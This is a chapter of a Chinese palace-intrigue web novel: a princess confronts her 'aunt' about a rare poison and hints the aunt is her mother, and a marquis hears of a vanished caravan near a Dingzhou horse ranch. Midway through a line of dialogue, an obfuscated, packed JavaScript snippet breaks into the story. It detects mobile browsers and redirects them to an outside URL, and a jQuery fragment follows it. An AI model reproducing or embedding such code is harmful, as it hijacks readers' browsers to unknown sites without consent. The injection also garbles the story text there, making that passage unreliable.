22. 当真要如此绝情
作品:《偏执公主的掌心宠(原名寰海清)》 华清宫。
主殿内地龙烧得正旺,虞鹤宛正懒懒地倚在贵妃榻上翻着本杂书,颂秋和春和在一旁的小几前给沏着茶水。烛火明灭,殿内一时静谧无声,但是倒也温馨自在。
就在这个时候,一名小宫女敲门进了大殿通报道:“殿下,靖宁公主求见,现下正在门口候着呢。”
闻言,颂秋与春和的动作皆是顿了一顿,两人不动声色地对视一眼,又悄悄地偏过头去看自家殿下。却见虞鹤宛面上神色淡淡,神情并没有什么波澜,甚至眼都没眨,还抬手翻了一下书页,这才终于抬起眼来看向那名小宫女:“她倒是稀客。”虞鹤宛的唇角略微弯了一下,“宣她进来吧。”
“是。”那小宫女垂首行礼过后便回身退了出去。
不多时,虞青忆就跟在宫人身后被带进了灯火通明的大殿。
“见过长公主殿下。”虞青忆停住脚步,垂了眸子朝主座上的虞鹤宛行礼。
虞鹤宛的目光在她的脸上顿了顿,而后便抬了下手。颂秋赶忙上前将虞青忆扶起来,听见自家殿下终于开了口:“坐吧。”虞鹤宛的声音平静得几乎没有丝毫起伏:“靖宁怎么这个时候来了本宫的宫里?”
虞青忆自顾自在软榻上坐了,闻言也只是但笑不语,转头环视了一圈殿内侍候的宫人。
颂秋与春和得了虞鹤宛的眼神示意,十分有眼力见儿地带着剩下的宫人和虞青忆身边的清商、云徵鱼贯出了大殿。
听到殿门关合的声响,虞青忆这才出声道:“这三年我在苏南的种种景况,想来姑母也都知道了吧?”
虞鹤宛端起茶盏来抿了口茶,并没有要答话的意思。
见她这样,虞青忆也不勉强,自顾自往下接着道:“就算姑母不出宫,也一定会有人来将苏南的消息一五一十地传给您的,尤其是关于我的,”虞青忆唇角勾起抹弧度,转眼朝虞鹤宛看过去,“哪怕您可能丝毫都不关心。”
虞鹤宛端着茶盏的手顿了下,随后将它放去了桌上,杯底与桌面碰撞,发出了一声清脆的声响:“你想说什么?”
“我中毒了。”虞青忆定定地望着她,语气还算平静道。
“本宫记得宫中的太医院似乎并不是摆设,”虞鹤宛轻轻偏过头去,避开她视线,温声道,“你与本宫说这些可没用。”
“那倘若我告诉您,我中的是血煞蛊呢?”虞青忆紧紧地盯着虞鹤宛的眼睛,声音也沉了下来。
听了这话,虞鹤宛终于抬起眼偏过头看过来了,语气里也终于带上了几分意味不明的情绪:“你说什么?”
“传闻中早已失传,但现在只有西齐皇室才掌握的秘蛊,在三年前就被种到了我的体内。”虞青忆唇边本就极浅的弧度染上了几分讥诮,她语气苦恼道,“姑母您快帮我想想,这传闻中的血煞蛊究竟是怎样被种到我身上的?”
“左右不是本宫动的手脚,你想找到害你的人,本宫也无法帮你。”沉默了良久,虞鹤宛才敛下眸子,伸了手指撇着茶盏中的浮沫,语气淡淡,“至于是谁做的,本宫并不关心。再者说,”她顿了顿,“你中了蛊,与本宫又有什么干系?”
这话说得决绝,饶是虞青忆早有所预料,听到虞鹤宛的这番话时还是不由得怔忡了一瞬。
“姑母当真要如此绝情?见我沦落至如此境地竟也欲弃我于不顾么。”虞青忆神色霎时间便黯然下来,一副伤心欲绝的模样。
虞鹤宛看着面前楚楚可怜、泫然欲泣的虞青忆,忽然有些头疼地蹙了蹙眉头,有些不明白她今晚跑到自己宫里这是又发的什么疯。
还没等她开口赶人,虞鹤宛就听见虞青忆的声音幽幽响起:“姑母真的觉得无论如何我便与您没有丝毫干系了么。”她的声音顿了顿,语气里忽然不知怎么就染上了几分带着莫名阴冷的笑意,幽幽道,“或者,我该换一个称呼,也许我该叫您一声‘母亲’?”
虞鹤宛心下猛地一跳,她慢慢抬了眼望过去,正正对上了虞青忆在烛火跃动的映照下泛着冷光的眸子。
嘉佑侯府。
谢迁从凤鸣宫出来后便回到了侯府。
马车驶进侯府大门,他刚下了马车,承影和承竹便从暗处现了身:“侯爷,”他们朝谢迁行过一礼,“姜老板来了,现下正在书房等您。”
谢迁颔首表示自己知道了,摆手让两人下去,自己则是拂了拂袖子,抬步往自己书房的方向走去。
姜季明已经坐在谢迁的书房里喝了一刻钟多的茶了。
谢迁推开书房的门走进去时,姜季明正靠在椅背上不知跟谁滔滔不绝:“......我说你们这些人,整日里也太无趣了些,连话都不说,难道不嫌闷得慌吗——”
“干嘛呢?”谢迁转身合上门,走去他对面拉开把椅子坐下,开口问他。
“你怎么才回来?”姜季明掀了眼皮看过去,朝他扬了扬下巴,理所当然道,“跟你的暗卫聊天呢。”
“是吗?”谢迁忽然染上抹极浅的笑,视线不动声色地瞥了眼暗处。
暗处的两名暗卫从自家侯爷那抹笑里敏锐地觉察出几分危险,冷汗唰地冒了出来。
姜老板跟主子说这些,难保主子不会多想。要是他听了这话认为他们几个真的与姜老板在交谈的话,那可就不只是失职这么简单了。
《暗卫的自我修养》里可是都明确写了,要想当一名合格的暗卫,首先就要学会管住嘴,学会不动声色地表达情绪,像姜老板这样的碎嘴子就没有当暗卫的资质。
几个人在心里默默为自己喊冤,然后苦着脸对视一眼,几乎都能预见到今天过后去领罚的悲惨命运了。
几人愁眉苦脸,谁料姜季明下一句便是:“我真不明白你们这些用暗卫的人到底是怎么想的,跟他们聊天他们连理也不理,当真是高冷得很。”显得他刚刚在这自言自语的举动也挺奇怪的。
“这样啊,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17328488|197082||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”谢迁抬了眉梢,视线又在那几个暗卫的藏身处打了个转,也没在这个话题上过多纠结,开口转而问道,“对了,你这个时候找到我府上来是出了什么事?”
“你之前猜得没错,西北那边的确有动静了。”姜季明收了面上多余的表情,语气也微微沉了下来,“七日前我手下去往宁夏的一支商队突然没了踪迹,我名下沿途的驿站也没收到一声那支商队的音讯。我觉得这件事来得蹊跷,就派人去查,今日才传消息回来说那支商队最后一次露面是在定州附近的一个马场附近。”
“马场?”谢迁蹙了下眉尖,“还是在定州......”他沉吟了半晌,出声道,“你怀疑他们是看到了什么,被发现之后就被灭了口?”
姜季明点头:“宁夏是燕歧王的地盘,这么多年跟咱们京城明争暗斗的也不少了,更别说人家明面上手里还有四十万燕歧军。这山高路远的,就算他们有什么动作,等消息传回京都也晚了。”
燕歧王的嫡亲祖父当年是跟太祖皇帝一起打天下出生入死的,只不过后来甘愿受封为王,退去了西北燕歧,守着大殷的北疆。老燕歧王的这份“甘愿”到底有几分是发自真心尚且不知,但是据说当年太祖皇帝深受感动,大手一挥就允了燕歧王麾下的五十万燕歧军一同留在燕歧。
太祖皇帝后来后没后悔暂且不知道,不过燕歧王在西北过高的地位自然也就成了横在高位上九五之尊心里的一道刺,自高宗皇帝继位后的历任皇帝都在努力地削弱燕歧王的实力。这么多年过去,也不过是削了他十万兵权而已。
剩下的四十万也只是明面上的数,说不定在暗地里还有多少私兵被藏在了什么地方。
而马场,就是一个藏兵的好去处。
据说当年的西北几州几乎被北戎尽数屠净了,开国以后是老燕歧王带了中原一部分人迁过去的,所以后来的燕歧仍旧保留了北方中原骑马的习惯。只不过也从骑兵的军事训练逐渐演变成了一项人人都可以参与的运动,于是一些较为平整的地便被留出来建了马场,平日里也会有专人在马场训练。
但是在马场训练的究竟是什么人,那就只有他们自己才知道了。
那支商队,应该就是看到了什么,才被灭口的。
谢迁思索着,指尖无意识地叩着桌面。
他总觉得定州这个地方有些熟悉,就像是最近在什么地方听过似的。
他是在哪儿听过的来着?
——“那就罚柳大人革除原职,调至定州吧。”
虞青忆的声音带着大殿上独有的轻微回响忽然就出现在了谢迁的脑海之中。
谢迁抬了下眉梢,眨眨眼,低声喃喃了一句:“原来她那么早就预料到了。”
姜季明还处在状况外,没听清他到底说了句什么,茫然道:“你说什么?”
“哦,没什么。”谢迁收起神色,开口却是转了个话题,“有一件事我还想与你商量。”

